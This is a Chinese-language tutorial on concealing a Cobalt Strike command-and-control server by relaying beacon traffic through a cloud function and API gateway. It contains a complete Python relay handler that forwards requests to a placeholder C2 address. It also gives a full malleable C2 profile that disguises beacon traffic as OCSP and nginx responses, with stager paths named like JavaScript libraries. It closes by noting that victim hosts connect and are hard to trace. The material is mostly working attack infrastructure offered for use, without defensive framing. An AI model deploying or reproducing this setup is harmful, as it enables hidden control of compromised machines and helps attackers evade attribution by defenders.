云函数隐藏C2服务器
云函数隐藏C2服务器
前言
基于CS,隐藏C2服务端有很多手段,常见如下:
1.利用域前置
2.走cdn域名
3.利用云厂商服务
其中域前置技术在18年及更早还比较有效,现在越来越多云厂商如cloudflare开始禁止域前置行为
云函数核心思想其实很简单,就是由第三方提供的服务接收C2客户端流量,转发给C2服务端,避免直接暴露服务端。
正文
首先创建一个云函数,创建方式选择自定义创建
点击完成创建。
进入函数,选择触发管理,选择API网关触发
随后点击API服务名,进入API服务
选择编辑,修改配置
点击立即完成,发布
在API基础配置里记录公网访问地址
返回函数管理
选择修改函数代码,将内容改成如下即可
# -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context): response = {} path = None headers = None try: C2='http://IP:PORT' if 'path' in event.keys(): path=event['path'] if 'headers' in event.keys(): headers=event['headers'] if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } except Exception as e: print(e) finally: return response
部署发布即可,随后在服务器的Cobaltstrike目录下,新建cloud.profile文件,内容如下
set sleeptime "5000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0"; http-get { set uri "/api/x"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "nginx"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/y"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } } }
随后打开Cobaltstrike,加载cloud.profile,创建监听器,HTTP HOST为之前记录的API网关地址,注意是80端口的那个
随后受害主机正常上线,但是已经经历了云函数隐匿,很难被溯源到真实地址。